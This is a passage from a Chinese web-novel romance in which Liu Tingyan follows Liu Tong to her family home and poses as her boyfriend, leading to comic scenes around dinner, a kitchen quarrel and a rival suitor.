刘瞳将一张银行卡径直拍在柳廷砚面前的茶几上,双手环胸,故作高冷:“我明天回老家一趟,归期不定。这里面有两千块,省着点花,够你撑到我回来。” 她心里暗自窃喜,莫名有种老板给员工发工资、包养某人的奇妙既视感。 柳廷砚垂眸看着桌上的银行卡,又抬眸看向她故作强势的小脸,眼底掠过一丝哭笑不得。 这莫名其妙的包养既视感是怎么回事? 见他一言不发、坦然受之的模样,刘瞳瞬间气不打一处来。 这人还真一点不客气?真是欠揍! 她忍不住睨他一眼:“你就没什么要问的?” 柳廷砚漫不经心地瞥她:“问什么?” “算了,跟你说不清。”刘瞳无奈叹气,再三叮嘱,“我不在家你别乱出门,花钱省着点,敢提前花完就自己吃土!” “废话真多。”柳廷砚淡淡嫌弃。 “你这人!”刘瞳火气瞬间上来。 柳廷砚靠着沙发,眉梢轻挑,语气带着几分慵懒试探:“若是舍不得我,想让我陪你回老家,直说就好,不用拐弯抹角。” “鬼才舍不得!少自作多情!”刘瞳瞪他一眼,气呼呼转身冲回卧室收拾行李。 身后,柳廷砚弯腰拾起银行卡,低笑一声,随手丢回桌面。 卧室里,刘瞳一边塞衣服一边小声吐槽:“神经病才带你回去,不得把我爸妈吓死!” 余光瞥见床头的钥匙,她心头一气,抓起钥匙大步冲出去,抬手就朝他丢了过去。 柳廷砚眼疾手快稳稳接住,满脸茫然地看着怒气冲冲的女孩,又看着骤然紧闭的房门,一头雾水。 他没招惹她吧? 怎么又吃了一肚子火药,跟丢了几百万似的。 次日清晨,天色微亮。 刘瞳早早收拾好行李,赶了清晨六点的火车回乡。 列车缓缓驶离站台,窗外风景飞速倒退,转瞬模糊成一片流光。她懒懒靠在窗边,指尖无意识摩挲着车窗边框,一想到回家就要面对爸妈的连环追问、催婚相亲,便无奈地长长叹了口气。 算了。 兵来将挡,水来土掩。 实在不行,大不了脚底抹油直接跑路。 她 烦躁地摆摆手,在心里自我安慰。 车厢不远处的角落,一抹隐匿的黑衣身影静静端坐。 柳廷砚压低黑色鸭舌帽,口罩遮去大半面容,只露出一截利落冷白的下颌线。他看似垂眸看着手机,余光却自始至终、寸步不离地落在前方少女身上,时不时悄悄抬眼,确认她安好无恙。 整整六个小时的车程,漫长又煎熬。 列车终于抵站。 刘瞳拖着行李箱,步履轻快地走到家门口,抬手咚咚敲响家门。 “爸妈!我回来了!” 房门应声而开,妹妹刘冉然探出一张甜软的小脸,看见是她,眼睛瞬间亮了,立刻扑上来抱住她的胳膊,甜甜撒娇:“二姐,你终于回来啦!有没有给我带好吃的、带礼物呀?” “哎等等,我的行李箱!”刘瞳连忙提醒。 “我来我来!”刘冉然自告奋勇,转身拎过门口的蓝色行李箱,顺手带上门。 她满眼期待地望着刘瞳:“我上次跟你说的小东西,你帮我买了没?” 刘瞳一拍脑门,满脸愧疚:“啊……对不起啊,我给忘了。” “那零食总带了吧?”刘冉然依旧不死心。 “这次回来太匆忙,什么都没来得及买。”刘瞳尴尬挠头。 方才还满脸雀跃的小姑娘瞬间垮下小脸,哼了一声,扭头转身回房,干脆不理她了。 刘瞳看着妹妹赌气的背影,无奈失笑。 厨房里传来锅铲碰撞的声响,刘妈探出头:“瞳瞳回来啦?” “嗯,老妈我回来了。”刘瞳换鞋走进客厅,随口问道,“我爸和我弟呢?” “冉然!过来炒菜!”刘妈没有回答她,直接朝房间喊了一声。 刘冉然不情不愿地应了声,磨磨蹭蹭走出房间进了厨房,路过客厅时,连个眼神都没分给刘瞳。 交代好女儿掌厨,刘妈擦了擦手,径直走到客厅,在刘瞳对面坐下,眼神锐利严肃。 “坐好。” 刘瞳刚端起水杯,被她这气势吓得一僵,乖乖坐直身体:“老妈,怎、怎么了?” “怎么就你一个人?”刘妈目光直直锁定她,审视着她的神色。 刘瞳心头一慌,干笑着装傻:“本来就我一个人呀,还能有谁?” “你之前在电话里说,交男朋友了,要带回家给我们看。人呢?” 话题直击要害,避无可避。 刘瞳头皮发麻,慌忙强行转移话题:“对了妈,我怎么没看见我爸和小岳?他们不在家吗?” “你爸跟你弟在房间下象棋。”刘妈毫不留情截断她的话,半点机会不给,追问到底。 “下象棋啊,那多雅致,陶冶情操!我也去看看!”刘瞳顺势起身想开溜。 奈何刘妈眼疾手快,伸手一把揪住她的后领,像拎小鸡一样把人拽了回来。 跑?往哪跑。 刘瞳瞬间怂了,举手投降,苦着脸坦白:“好好好我招!我男朋友今天临时有事,实在抽不开身,下次!下次我一定带回来给你们见,行不行?” “老刘!你出来!”刘妈转头朝房间高声喊。 “来了来了!干嘛呀,我正下到关键局呢!”刘爸乐呵呵从房间走出来,在单人沙发落座,看见刘瞳瞬间笑开,“瞳瞳回来啦,什么时候到的?” “刚到没多久,老爸。”刘瞳尬笑不止。 刘妈面色严肃,正色开口:“你女儿吹牛说有男朋友,结果又是孤身一人回来。昨天你跟老吴下棋,他儿子刚好也单身,比瞳瞳大两岁,人品踏实,明天安排他俩见一面。” 刘瞳脸上的笑容彻底僵住,心里欲哭无泪。 好家伙,相亲局直接安排得明明白白。 刘爸愣了愣,疑惑看向女儿:“不是说谈男朋友了?怎么没带回来?” 20. 等待进入网审 “饭桶老姐,你可算回来了。” 弟弟刘忠岳也跟着走出房间,一边低头打游戏一边随口调侃。 只因刘瞳饭量偏大,名字又带一个瞳字,从小到大,弟弟总爱打趣喊她饭桶老姐。 刘瞳狠狠瞪了他一眼,偏偏爸妈就在身旁,她敢怒不敢言,只能憋屈憋着。 正要支支吾吾解释,门外忽然传来—— “咚咚咚——” 急促的敲门声骤然打断了客厅的僵持氛围。 “小岳,去开门。”刘妈开口吩咐。 “哦。”刘忠岳应声走去开门,视线依旧黏在手机屏幕上。 门外站着的是大姐刘思涵和姐夫杜于格。 刘思涵看见开门的弟弟,眉眼弯弯笑起来:“小老弟,想没想你大姐?” “没有。”刘忠岳十分干脆,半点面子不给。 “没良心的小东西,真伤我心。”刘思涵故作难过。 话音未落,刘忠岳直接略过她,伸手接过身后男人手里的礼品袋,乖乖喊了声:“姐夫。” 杜于格温雅浅笑:“忠岳。” 刘思涵瞥见玄关处的行李箱,挑眉:“咦?你饭桶二姐已经先到家了?” “嗯,在客厅呢。”刘忠岳偏头示意。 刘思涵立刻踩着拖鞋走进客厅,熟稔地搂住刘瞳的肩膀:“我亲爱的二妹,有没有想我?” “……没有。”刘瞳面无黑线,生无可恋。 “没良心!”刘思涵嗔怪一句,随即礼貌看向客厅长辈,“爸妈,我们回来了。” 杜于格也跟着问好,举止温和有礼,只是初次上门送礼,难免带着几分拘谨。 “回来就好。”刘爸笑着应声,刘妈也淡淡点头。 “爸妈,我和于格给你们带了礼物!”刘思涵顺势将脚边精致礼盒推到茶几中央。 刘瞳暗自长长松了一口气。 救命!大姐回来得太及时了,简直是天降救兵,刚好打断这场相亲审判大会! 刘爸拿起礼盒里的戒指,嘴上故作责备:“买这么贵重的东西干什么,我们年纪大了,用不着这些花哨物件。” 嘴上说着浪费,目光却实实在在落在戒指上,舍不得挪开。 刘妈扭头佯装不悦:“净乱花钱。” 可眼底藏不住的浅浅笑意,早已出卖了她的心情。 刘思涵心知肚明,拿起女士戒指,拉起母亲的手细心戴上,尺寸刚刚好。 “妈,你就别客气啦。”她软声撒娇,“你和爸年轻时候吃苦受累,结婚简简单单,什么信物都没有。辛苦拉扯我们四个长大,现在我们长大了,就该好好孝顺你们,让你们享福。” 说完悄悄给杜于格递了个眼色。 杜于格立刻顺势接话,温柔笑道:“是啊爸妈,这都是我们的一点心意。以后我会更努力,让你们过得更好。” 刘妈神色终于彻底柔和下来。 纵然当初不算太满意这个女婿,但女儿心甘情愿,如今懂事孝顺,她也渐渐放下心结,坦然接纳。 刘瞳见状脑子一热,顺口接话:“对对对!等我们几个全都成家立业,就给爸妈补办一场盛大的婚礼!所有费用我们全包!” 话音刚落,刘妈脸色瞬间又沉了下去。 “那也得等得到才行。某人连对象都带不回来。” 刘瞳:“……” 她真想当场给自己一巴掌。 好好的氛围,她瞎接什么话! 本来就被逼得骑虎难下,现在更是火上浇油,纯属自取其辱! 她内心疯狂咆哮,恨不得原地挖洞把自己埋了。 刘思涵连忙打圆场,笑着岔开话题:“妈,你别这么说二妹。对了二妹,我听妈说你谈男朋友了?我特地赶回来想看一眼呢,人呢?” 最怕的话题,终究还是躲不过。 刘瞳欲哭无泪,弱弱敷衍:“他临时有事来不了,下次一定带回来。” “这样啊?”刘思涵瞬间来了兴致,化身吃瓜群众,连连追问,“那他叫什么名字?多大了?做什么工作的?对你好不好呀?” 一连串问题砸下来,刘瞳脑子彻底空白。 路上反复演练的借口、说辞,此刻全数死机,支支吾吾半天说不出一句完整的话。 亲姐!能不能有点眼力见! 她真的要被逼疯了! 就在她手足无措、濒临崩溃之际—— “咚咚咚!” 急促的敲门声再次响起。 全屋瞬间安静,所有人皆是一愣。 家里人明明都到齐了,还会是谁? 刘爸率先开口:“应该是老吴和他儿子吧。我昨天跟老吴约好了,知道瞳瞳今天回来,喊他们过来一起吃饭。小岳,快去开门。” 刘瞳闻言彻底绝望扶额。 爸妈这是多怕她嫁不出去,非要赶鸭子上架,强行安排相亲! 刘忠岳依言再次走到门口开门。 看清门外站着的人,他瞬间怔住:“你、你是谁?” 门口男人身姿挺拔,一身剪裁利落的银色西装,气质矜贵清冷,眉眼俊朗得过分。 褪去了往日遮掩憔悴的痕迹,容貌清绝,气度斐然。 柳廷砚微微俯身,语气温和有礼:“你好,我是你二姐的男朋友。” 少年音色清冽好听,温润磁性。 客厅里的人闻声尽数起身,纷纷朝门口望去。 在看清男人面容的那一秒,刘瞳瞳孔骤缩,整个人彻底僵在原地,捂住嘴巴,满眼难以置信。 怎么是他?! 他怎么会来这里?! 还有他的脸……完全恢复如初,俊美得耀眼! 刘思涵也微微失神,被眼前男人惊得晃了下神,凑近刘瞳小声道:“你男朋友?也太帅了吧!” 刘瞳舌头打结,慌乱错乱:“不、不是……是、是!” 混乱间,柳廷砚已然抬步,目光温柔锁定呆愣的少女,对着客厅长辈落落大方开口,声线沉稳好听: “叔叔阿姨您好,我是小瞳的男朋友柳廷砚。工作临时耽搁,来得晚了些,还望各位见谅。” 刘爸看着眼前身姿挺拔、气质出众的年轻人,眼底瞬间写满满意,笑得合不拢嘴:“好好好!快进来快进来!” “叔叔先请。”柳廷砚礼仪周全,谦逊有礼。 刘瞳还傻愣愣站在原地,一动不动。 “发什么呆呢?快带人进来啊!”刘思涵抬手推了她一把。 “啊、哦好!”刘瞳猛然回神,机械般点头。 姐姐和姐夫识趣退回客厅,只留两人在玄关。 刘瞳连忙低头拿出拖鞋,接过他手里拎着的精致礼品袋,凑到他身侧,压低声音,又急又懵:“你怎么来了?!还有你的脸,完全好了?!” 柳廷砚没有回答,只朝她浅浅一笑,下一秒,长臂一伸,自然温柔地揽住她的纤细腰肢。 温热的触感骤然贴上腰间。 刘瞳浑身一僵,大惊失色,正要挣扎。 柳廷砚指尖轻轻抵在她唇上,眼神温柔示意她安静,眼底带着一丝安抚与笃定。 对上他深邃沉静的眼眸,刘瞳瞬间失语,眨巴着大眼睛,满心疑惑却不敢乱动。 下一瞬,柳廷砚拥着她,从容抬步走进客厅,温声唤道:“叔叔,阿姨。” “快坐快坐,真是个斯文有礼的好孩子。”刘爸笑意满面,连忙招呼。 柳廷砚顺势牵着刘瞳的手,稳稳落座在方才她的位置上。 客厅所有人的目光齐刷刷落在两人交握的手上,氛围微妙又安静。 柳廷砚眼底看似平静,实则心底微微无措。 假扮女友家长见家长,也是人生头一遭。 可他面上丝毫不显慌乱,依旧维持着温柔得体的浅笑。 刘瞳深吸一口气,压下心底翻涌的惊涛骇浪,硬着头皮开口介绍:“爸妈,他就是我男朋友,柳廷砚,今年二十九。” “年纪正好,跟我们瞳瞳相配。”刘爸越看越满意。 话音落下的一瞬,客厅氛围微变。 刘爸脸上的笑意微微顿了顿,下意识算了下年纪。 刘妈脸上的和善更是 瞬间淡了大半,眼神里浮出一层明显的顾虑与不喜。 刘瞳今年才二十一,对方竟然已经二十九。 整整八岁的年龄差。 在她眼里,女儿年纪小、单纯懵懂,男方年纪偏大,阅历太深,心思必然复杂,根本不是一路人。 刘妈眼神瞬间变得审慎严肃,上下打量着柳廷砚,越看心里越不踏实。 刘爸迟疑着开口:“二十九……年纪是稍微大了点。” 柳廷砚神色不变,依旧温雅从容:“是,我年长小瞳几岁,也正因为如此,我会更成熟、更懂得包容照顾她。” 这句沉稳妥帖的话,稍稍抚平了刘爸的诧异,却没能打消刘妈心底的顾忌。 她眉心微蹙,沉默不语,明显存了心结。 刘瞳敏锐察觉到老妈脸色不对,心里咯噔一下。 完了,老妈嫌他年纪大了! “喝茶!喝茶!”刘爸抬手示意。 柳廷砚端起茶杯,动作雅致沉稳。 “叔叔阿姨,请喝茶。”柳廷砚端起茶杯,动作雅致沉稳。 浅抿一口,他抬眸浅笑:“叔叔这茶,是上好的铁观音吧?” “哈哈!好小子,居然喝得出来!”刘爸瞬间大喜,连连称赞。 “我平日里也偏爱品茶,略有涉猎。”柳廷砚从容淡然,顺势开口,“下次过来,我带几包君山银针给叔叔尝尝。” 一旁的刘瞳默默在心里翻了个大大的白眼。 骗人! 她跟他朝夕相处两个多月,从来没见他喝过一口茶! 真是张口就来,演技满分! 刘爸被哄得愈发开怀。 沉寂许久的刘妈忽然开口,语气平静却带着审视:“现在做什么工作?” 一句话,瞬间让气氛紧绷。 刘瞳的心瞬间悬到嗓子眼,紧张得小手微微攥紧,指尖发颤。 柳廷砚敏锐察觉到掌心小手的慌乱,指尖轻轻安抚似的捏了捏,随即抬眸,从容不迫开口:“阿姨,我是爱森集团的总经理。” “爱森集团?!”刘思涵瞬间瞪大眼睛,满脸震惊,“你就是那个全网超火的顶级资深造型师、爱森集团总裁柳廷砚?!” 柳廷砚温和点头:“是我。” “难怪我看着你这么眼熟!!”刘思涵瞬间恍然大悟,激动不已。 全场众人皆是一愣。 顶级大佬,顶级造型师,爱森集团掌权人。 这样站在云端的人物,竟然是自家普通小女儿的男朋友? 刘妈眼神瞬间凝重,追问核心:“你身份这么出众,怎么会认识我们家瞳瞳?瞳瞳是在你公司上班吗?” 刘瞳脑袋垂得更低,恨不得原地消失。 完了,这下彻底要露馅了! 柳廷砚垂眸看向身侧窘迫害羞的小姑娘,眼底盛满化不开的温柔,娓娓道来提前想好的说辞: “之前我独自外出旅游,不慎丢失钱包和证件,是小瞳热心帮忙、好心收留帮助了我。也是从那时候,我认识了她,慢慢动心。” 他说着,眸光温柔缱绻,一瞬不瞬落在刘瞳脸上,深情得无比真实。 刘瞳抬眸撞进他深邃温柔的眼眸里,心跳骤然失序,险些当场沉溺进去。 “旅游?”刘妈依旧带着几分疑虑。 “我记得!”刘思涵立刻接话佐证,“两个月前爱森集团发布会官宣,董事长夫妇带着总经理外出环球旅行,当时全网都报道了!” 柳廷砚淡淡应声:“没错,我父母便是爱森集团前任董事长夫妇。当时我们分头游玩,他们去了法国。” 提及父母二字时,他眼底极快掠过一丝不易察觉的沉痛。 刘瞳恰好捕捉到那一抹黯然,心头莫名一揪,又酸又涩。 不愿让他再触碰伤痛,也不想再被爸妈追问不休,她立刻抬手打断,佯装嗔怒: “爸妈!该问的也都问完了,再盘问下去,饭都要凉了!还让不让人吃饭了?” 刘爸刘妈这才回过神,连忙笑着打圆场。 “对对对,先吃饭!先吃饭!” 21. 等待进入网审 饭席窘迫,厨房暧昧争执 一顿午饭,刘瞳自始至终垂着脑袋,半点不敢抬头。 满桌寂静里,家人的目光像是细密的针。老姐眼底藏着意味深长的探究,父母不动声色的打量扫过两人,弟妹眼里翻涌着直白的惊讶与疑惑。一道道视线穿透空气,沉甸甸落在她和柳廷砚身上,几乎要在她背上灼出两个洞来。 刘瞳心底疯狂默念,只求这顿饭快点结束,早点散席。 就在这时,刘爸慢悠悠开了口:“廷砚啊,家里家常菜清淡简单,吃得还习惯吗?” 柳廷砚唇角噙着温润得体的笑意,语气温和:“叔叔说笑了,我从不挑食,吃得很合胃口。” 刘瞳嘴里嚼着饭,差点当场呛住。 她内心疯狂吐槽,这人是出门没带脑子?还是今早撞坏了头? 前几日这人还百般挑剔,嫌弃家常小炒味道寡淡、火候不够,挑剔得没完没了。可桌上大半菜都是小妹亲手做的,小妹的厨艺还是她手把手教出来的,能好看到哪里去? 偏偏柳廷砚此刻一脸坦然乖巧,完美拿捏了长辈最喜欢的模样。 刘爸闻言,当即欣慰地点了点头,神色愈发满意。 没等刘瞳平复心绪,身旁的刘思涵忽然笑眯眯抛出一句惊雷:“哎?廷砚,你跟我家二妹妹,是不是一见钟情啊?” “噗——” 刘瞳刚塞进嘴里的米饭瞬间卡在喉咙里,剧烈的呛意瞬间窜上头顶。 “咳咳!” 她猛地低头猛咳,身侧的柳廷砚反应极快,修长的手指轻轻拍着她的后背,动作温柔又急切,随即顺手递过手边的温水。 刘瞳二话不说接过水杯仰头灌下,半晌才顺着气息,拍着胸口暗自松了口气。 “慢点吃。”温热的嗓音贴着耳畔响起,带着几分缱绻的温柔,“呛成这样,要不要我喂你?” 刘瞳浑身一僵,瞬间起了一身鸡皮疙瘩,猛地抬头瞪他,脑袋摇得像拨浪鼓。 这人真是无时无刻不在演戏,做作得离谱! 可下一瞬,柳廷砚迎着满桌家人的目光,坦然浅笑,字字清晰:“大姐眼光很准,我对小瞳,确实是一见钟情。” 轰的一声。 刘瞳脑子里瞬间炸开一团烟花,内心咆哮不止。 救命! 他这深情款款、眼眸澄澈的模样,真挚得让她差点都信了! 一见钟情? 他们朝夕相处两个月,吵吵闹闹、针锋相对,她怎么半分心动的痕迹都没察觉?合着那两个月,瞎的只有她一个人? 刘思涵瞬间来了兴致,往前凑了凑,满眼好奇:“哇!那你到底看上我们家二妹妹哪点了?” “老姐!”刘瞳又羞又气,狠狠瞪了刘思涵一眼,眼底明晃晃写着警告,“吃饭都堵不住你的嘴,看来只有姐夫能治得了你!” 说完她立刻转头,看向一旁默默干饭的杜于格,语气带着求助:“姐夫,你也不管管你家媳妇!” 杜于格先是悄悄瞥了眼神色平静、兀自吃饭的刘爸刘妈,见长辈没有不悦,才轻咳一声,温和劝道:“思涵,少说两句,好好吃饭。” 刘思涵嘻嘻一笑,顺势收了话头:“好好好,我不说了,知道我们二妹妹害羞了还不行吗。” “吃饭的时候,不许闲聊。”刘妈适时开口,语气淡淡带着几分威严。 这一顿午饭,堪称刘瞳这辈子吃得最憋屈、最一头雾水的一顿饭。 全程坐立难安,满心茫然。 饭后,刘爸出门去了邻居吴叔家,刘妈回房午睡,弟弟径直回了自己房间,小妹刘冉然正低头收拾桌上的碗筷。 刘瞳连忙上前抢过她手里的碗筷,利落开口:“妹子,我来收拾就好,你去客厅看电视休息。” “那我可就不客气啦!”刘冉然半点不扭捏,爽快转身就走。 刘瞳看着她毫不留恋的背影,满头黑线。 真是绝情。 平日里慵懒娇气,喊不动半分,一到干活的时候,倒是听话得过分。 果然,家有小妹,最难伺候。 她转头看向慵懒靠在厨房门边椅子上的柳廷砚,当即叉腰瞪他,气势十足:“你负责洗碗,我擦桌子扫地,分工明确!” 柳廷砚耸耸肩,唇角挂着浅淡笑意,坦然应下:“没问题。” 接过她手里的碗筷,他转身走进了厨房。 刘瞳快速扫视了一圈客厅和各个房间,确认没人留意这边,立刻快步冲进厨房,反手轻轻带上房门。 她一把丢掉手里的抹布,冲到柳廷砚身侧,睁圆了眼睛,上上下下飞快打量他,连珠炮似的追问:“你怎么突然来我家了?还有你的脸!明明之前已经——你怎么恢复的?!你怎么知道我家地址的?还有你身上的西装、你拎来的那些东西,全都是哪来的?!” 厨房里水声潺潺,柳廷砚仿佛没听见她的急切质问,依旧不紧不慢地洗着碗,动作从容淡定。 无视,彻彻底底的无视。 “柳、廷、砚!” 刘瞳咬着牙压低声音怒喊,话音刚落又瞬间惊醒,连忙捂住自己的嘴,警惕地瞄了一眼紧闭的房门,后怕地松了口气。 生怕外面家人听见半点动静。 她伸手一把拽住他的衣领,语气又急又气:“你到底有没有在听我说话?你能不能回应我!故意急我是不是!” 柳廷砚终于停下动作,侧过头看她,眼底浮起几分无奈的黑线:“我算是发现了,你们一家人里,就你最粗鲁。你姐姐妹妹,没一个像你这样风风火火的。” “她们粗鲁的时候,你还没见过呢!”刘瞳压根不吃他这一套,狠狠瞪着他,不肯转移半分话题,“少给我转移注意力!老实交代,到底怎么回事!” 柳廷砚垂眸看着她气鼓鼓的模样,唇角微微勾起,眼底盛满戏谑的笑意:“大姐,我知道我长得太过惹眼,人神共愤,但你也不用这么直勾勾盯着我看吧?” “你这人真是欠揍!” 刘瞳说着便攥起拳头,朝着柳廷砚的门面挥过去。 柳廷砚瞳孔骤然一缩,下意识往后退,脚下不慎踩到地上的油渍,脚下猛地一滑,整个人向后仰倒。刘瞳还攥着他的衣领,猝不及防被一并带倒。 瞬息之间,柳廷砚后背抵上墙壁,一只手臂牢牢揽住刘瞳的腰,另一只手顺势托住她的大腿。刘瞳整个人跌撞在他坚硬的胸膛上,还没来得及反应过来发生了 什么。 “哎呦!我的鼻子!”刘瞳微微抬头,疼得捂住鼻尖。 “呃……你们?” 厨房门恰好被人推开,刘思涵站在门口,猝不及防撞破这一幕暧昧纠缠的画面。 两人浑身一震,像是被按了暂停键,机械地一同转头望向门口,满脸呆滞茫然。 “大姐,怎么了?”刘冉然听见动静走过来,看见刘思涵半个身子探在厨房门口,还以为出了什么状况。 刘思涵见到刘冉然走近,飞快收回身子,咔嗒带上厨房门,对着她扯出一个若无其事的笑容:“没事,什么事都没有。” “哦。”刘冉然素来听大姐的话,也不多做追问,点点头转身回了自己房间。 门内,刘思涵长长吐出一口气,悄悄把耳朵贴在门板上。 厨房里立刻传来刘瞳粗粝急躁的嗓音。 刘思涵扶额暗自无语。自家这二妹,到底是什么好运气,居然拐回来这么一个外形出众的男人,真搞不懂对方究竟看上刘瞳哪一点。她抬眼望向天花板,思绪飘远。 “你先松开,起来再说。”柳廷砚额角突突直跳,无奈至极。 “啪!” 房门再度被拉开。 两人还维持着方才的姿势,齐齐转头看向门口的刘思涵。 “嘿嘿,你们、你们继续!我就进来拿个东西!”刘思涵嘴角抽搐,快步挪到洗碗池边捞起一块抹布。 关门的瞬间,她还嬉笑着丢下一句:“放心,我等会儿给你们挂块‘勿扰’的牌子!” “什么跟什么啊。”刘瞳脑子一团乱,完全懵住。 柳廷砚抬手指了指还攥着自己衣袖的那只手:“现在,可以先松开了吗?” “不松!把话说清楚,你的脸到底是怎么回事!”刘瞳非但没有松手,反倒攥得更紧。 “看不出来?我化了妆。”柳廷砚一拍额头,“倒也是,你平时从来不碰这些。” “鬼才信,哪有化妆能化成这样——”刘瞳来回打量着那张过分惹眼的脸,一时竟找不出合适的词反驳。 “别拿那种眼神看我。”柳廷砚摊开手掌,语气带着几分自得,“不是你自己说的,现在化妆技术多厉害,丑的能化成美人,男人也能扮成女子,堪比整容。巧了,我手艺就是这么好。” “行,暂且先信你一回。”刘瞳皱着眉,暂且放过这个问题,又继续追问,“那你怎么找到我家的?是去问琳琳了?” “没有找任何人,我一路跟着你回来的。” “胡说!我怎么一点都没察觉到。” “我一身黑衣,帽子口罩捂得严实。你上了火车,不是发呆就是打瞌睡,哪里会注意得到我。”柳廷砚淡淡道。 “我才不信。”刘瞳瞪圆双眼。 “我又不是未卜先知的神仙,哪能凭空知道你家住址。”柳廷砚一脸无奈。 刘瞳半信半疑,目光死死盯住他,足足盯了五分钟。 “这下总可以松手了吧。”柳廷砚坦然迎上她的视线,又抬了抬被攥住的衣袖。 “哼,暂且信你。”刘瞳轻哼一声,终于松开手,拍了拍掌心。 柳廷砚无奈直起身,整理被抓得皱掉的衣领。 22. 等待进入网审 “你又要干什么?”柳廷砚简直快要哭出来。 “你身上这套西装,还有你拎过来的那些礼品,钱是从哪来的?”刘瞳眯起双眼,上下打量他,“这一身西装看着就价值不菲。” “还算你眼光不错。”柳廷砚勾起唇角,几分得意。 “重点不是夸你!”刘瞳咬了咬牙。 “你真想知道?”柳廷砚微微低头,脸庞凑近她,眼底漾开一抹邪魅的笑意。 刘瞳傻乎乎地点点头:“嗯嗯!说!” “先说好,听完不许冲动动手,听完就从厨房出去。”柳廷砚笑着提出条件。 刘瞳心底莫名升起一股不祥预感。 该不会这家伙干了什么见不得人的勾当? 她目光在他身上来回扫视。 难道是出卖色相换来的?视线又落在他那张过分好看的脸上。 又或者,他一直都在装穷骗自己?念头一冒出来,刘瞳手上力道不自觉加重。 “快说!” “好。”柳廷砚薄唇轻启,手伸进口袋,摸出一张银行卡递到她眼前。 “这不是我之前给你的那张卡?你没用?”刘瞳扫了一眼卡片。 柳廷砚轻轻摇头。 刘瞳心里不安越发浓重:“钱到底哪来的?” “前几天得知你要回老家,我就把我们住的房子转租出去一个月,这些开销,都来自这笔租金。”柳廷砚语气平平淡淡。 “你、你说什么!” 刘瞳猛地发力,直接将他推得重重撞在厨房门板上,咚的一声巨响。 客厅里正嗑瓜子看电视的刘思涵听见这一声动静,诧异望向厨房方向。 “小涵,厨房里面怎么回事?”杜于格疑惑发问。 “没事没事!一点小事!”刘思涵连忙摆手打圆场。 杜于格依旧满心疑惑地瞥了一眼厨房,才重新转回视线看向电视。 “柳!廷!砚!你把刚刚那句话,再给我说一遍!”刘瞳咬牙切齿,怒火几乎要溢出来。 “再说一遍结果也不会变。”柳廷砚神色不见慌乱,又从口袋摸出一把钥匙递过来,“喏,你卧室的钥匙。” “你——!”刘瞳气得话都说不连贯,一把抢过钥匙,随手抄起墙角的扫把就朝他挥过去。 “你干什么!”柳廷砚大惊,连忙躲闪。 “你竟敢私自把房子租出去,还不跟我商量!简直欠收拾!”刘瞳怒火冲天,若是有玄幻特效,此刻她周身怕是已经燃起熊熊烈火。 “那套房子我也算共同租住人,凭什么不能做决定?况且你现在又不住在那边。”柳廷砚狭小的厨房里狼狈躲闪,却不敢冲出去。一旦跑出去被刘家人撞见这副场面,事情必然败露,他的脸面也得丢得一干二净,只能硬着头皮被动招架。 “做梦!我是你的债主,你没有资格私自处置房子!”刘瞳张牙舞爪,满腔火气恨不得将人扒皮拆骨。 “当初明明说好,我们是合租。”柳廷砚伸手死死挡住挥过来的扫把杆。 “我真是瞎了眼当初才收留你!你这个混蛋!今天我非得好好教训你!”刘瞳撸起袖子,挥舞扫把步步紧逼。 “刘瞳!你可不能忘恩负义,今天饭桌上,我还帮你圆了不少场面!”柳廷砚攥住扫把,试图讲道理。 “亏你说得出口!在我家蹭吃蹭喝还敢邀功!我真该拿包农药毒你算了!”刘瞳用力拽回扫把,再次高高扬起。 “你们在厨房里闹什么!” 厨房门骤然被推开,刘妈站在门口,脸色沉沉地望着两人。 刘瞳浑身一僵,飞快把扫把藏到身后,扯出一个十分僵硬的笑容:“妈、妈,我们……我们饭后锻炼身体,消食呢!” 咚咚!”院门外,忽然响起一阵敲门声。 客厅里正嗑着瓜子的刘思涵抬了抬眼,随口打趣:“哎哟,今天我们家倒是热闹,怎么客人一拨接一拨的。” 她说着便起身走去开门。 “爸!吴叔叔!”看见门外的几个人,刘思涵态度得体地问好。 “嗯,小涵,回来过节啦。”吴叔脸上挂着和蔼的笑意。 “是啊。” 厨房里方才闹过一场的几人听见动静,也一并走了出来,众人目光相撞,客厅的气氛瞬间微妙起来。 “瞳瞳也回来了。”吴叔看见刘瞳,笑意愈发温和,可余光扫到站在她身侧的柳廷砚时,脸上的笑容猛地一顿。 “吴叔好。”刘瞳心头猛地一跳。 不是吧,他们怎么会找上门来。老妈老爸这是什么意思,明知道她现在身边摆了个“男朋友”,还把吴叔父子请过来? 几人陆续落座客厅沙发。 “老刘啊,瞳瞳身边这位是?”吴叔率先开口,目光落在柳廷砚身上。 刘爸笑了笑,笑意里藏着一丝不易察觉的尴尬:“哎呀,忘了给你介绍,这是瞳瞳带回来的男朋友。” 此话一出,吴叔和他儿子的脸色齐齐微变。 “原来是这样。”吴叔敛去方才的神色,淡淡开口,“老刘倒是好福气,家里孩子一个接着一个要成家。不像我们家,还在处处操心。” “你家里不也一样,往后不也有的盼。我家的哪里能跟你家相比。”刘爸呵呵一笑。 刘瞳在一旁听得内心疯狂吐槽,哪有这么贬低自家,反倒抬高别人的。 短暂的沉默过后,吴叔抬眼,目光直直落在柳廷砚脸上:“小伙子,叫什么名字?今年多大?” 刘爸正要代为答话,柳廷砚已经抢先一步,从容站起身,面上挂着恰到好处的友善浅笑,伸出右手:“晚辈柳廷砚,三十一岁,吴叔叔好。” 吴叔没料到他这般大方有礼,连忙起身伸手回握。一旁吴家的儿子也紧跟着站了起来。 两手相握的瞬间,柳廷砚手掌骤然收紧,力道不轻不重箍住对方,眼底浮起一层沉沉的暗色,裹挟着几分毫不掩饰的挑衅。 吴家少年脸色当即变得不自然,指尖被攥得阵阵发疼,迟迟等不到柳廷砚松手,心底不由得泛起一阵慌乱。 一旁的刘瞳望着两人久久没有松开的手,看着二人手背渐渐泛出的红痕,脑洞不受控制地飞跑。 “喂,你们俩该不会看对眼了?” 什么情况,这一来一回眉来眼去的,怎么还生出一种相见恨晚的既视感。刘瞳被自己脑补的画面惊到,在心里默默啧啧两声。 屋子里其余的人也满脸疑惑,目光落在站着的两人身上。 听见刘瞳这句话,两个人脸色同时一变,惨白得如同菜色,飞快松开交握的手,看向彼此的眼神写满嫌弃。 空气陷入凝滞的安静,在座各人神色意味深长,各怀心事。 最后还是吴叔勉强扯出笑意打破这份尴尬:“呵呵,小伙子相貌出众,和瞳瞳看着倒是很般配。” 话刚说完,他对上柳廷砚望过来的视线,莫名打了个寒颤。明明对方脸上还带着笑意,可那笑意却不达眼底,压迫感扑面而来,气场极强,自家儿子和他一比,全然落了下风。吴叔额角悄悄冒出一层薄汗。 